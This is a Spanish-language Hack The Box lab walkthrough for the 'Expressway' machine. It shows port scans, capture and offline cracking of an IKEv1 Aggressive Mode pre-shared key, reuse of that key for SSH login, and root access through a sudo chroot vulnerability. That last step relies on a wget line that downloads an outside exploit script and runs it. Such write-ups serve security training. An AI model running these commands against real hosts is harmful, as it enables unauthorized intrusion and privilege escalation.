Expressway
Plataforma: Hack The Box
Dificultad: Easy
🔗 Link de la máquina: https://app.hackthebox.com/machines/Expressway
Reconocimiento
Escaneo TCP
Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN expressway.txt 10.129.3.179
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-19 21:11 -0300
Nmap scan report for 10.129.3.179
Host is up (0.39s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.72 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN expressway.txt: Guarda los resultados en el archivo “expressway.txt”.
Solo se descubre el puerto 22/tcp (SSH). Con una superficie de ataque reducida, ampliamos el reconocimiento al protocolo UDP.
Escaneo UDP
sudo nmap -sU --top-ports 100 --min-rate 5000 -Pn -n -oN expressway_udp.txt 10.129.3.179
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-19 21:45 -0300
Nmap scan report for 10.129.3.179
Not shown: 93 open|filtered udp ports (no-response)
PORT STATE SERVICE
138/udp closed netbios-dgm
500/udp open isakmp
1433/udp closed ms-sql-s
1813/udp closed radacct
2049/udp closed nfs
49191/udp closed unknown
49201/udp closed unknown
Se descubre el puerto 500/udp (ISAKMP) — protocolo de intercambio de claves para VPN IPsec/IKEv1. El nombre “Expressway” encaja con un servicio VPN.
Enumeración ISAKMP
IKE Main Mode
Usamos ike-scan para identificar los parámetros del servicio IKE:
sudo ike-scan -M 10.129.3.179
10.129.3.179 Main Mode Handshake returned
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Parámetros identificados:
| Parámetro | Valor |
|---|---|
| Versión | IKEv1 (Main Mode) |
| Cifrado | 3DES |
| Hash | SHA1 |
| Grupo DH | 2 (modp1024) |
| Autenticación | PSK + XAUTH |
IKE Aggressive Mode — Captura del Hash
El Aggressive Mode de IKEv1 es vulnerable: transmite la identidad y el hash del PSK sin cifrar, permitiendo capturarlo para crackeo offline.
sudo ike-scan --aggressive --id=ike@expressway.htb -M --pskcrack=psk.txt 10.129.3.179
10.129.3.179 Aggressive Mode Handshake returned
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
Hash(20 bytes)
La identidad del servidor es ike@expressway.htb y el hash queda guardado en psk.txt.

Crackeo del PSK
Usamos psk-crack con el diccionario rockyou.txt para crackear el hash capturado:
psk-crack --dictionary=/usr/share/wordlists/rockyou.txt psk.txt
Starting psk-crack [ike-scan 1.9.6]
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash 110d9b2f28a5ec354efb0418783f13cf31d7df76
Ending psk-crack: 8045040 iterations in 9.174 seconds (876951.60 iterations/sec)
PSK obtenido: freakingrockstarontheroad

Acceso Inicial
Con el PSK crackeado, la credencial sirve directamente como contraseña SSH para el usuario ike (extraído de la identidad ike@expressway.htb):
ssh ike@10.129.3.179
ike@10.129.3.179's password: freakingrockstarontheroad

cat flag.txt

Escalada de Privilegios
Enumeración
Buscamos binarios con SUID activo:
find / -perm -u=s -type f 2>/dev/null
/usr/sbin/exim4
/usr/local/bin/sudo
/usr/bin/sudo
...
Notamos dos binarios sudo: uno estándar en /usr/bin/ y otro en /usr/local/bin/. Verificamos la versión:
sudo --version
Sudo version 1.9.17
CVE-2025-32463
Sudo 1.9.17 es vulnerable a CVE-2025-32463, fixed en 1.9.17p1. La vulnerabilidad está en la opción --chroot (-R): sudo procesa el nsswitch.conf del directorio chroot con privilegios root, lo que permite cargar una librería NSS maliciosa y obtener ejecución de código como root.
wget https://raw.githubusercontent.com/kh4sh3i/CVE-2025-32463/main/sudo-chwoot.sh -O /tmp/sudo-chwoot.sh
chmod +x /tmp/sudo-chwoot.sh
/tmp/sudo-chwoot.sh
woot!
root@expressway:/# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)

cd /root
ls
cat root.txt

Máquina Expressway de Hack The Box completada exitosamente.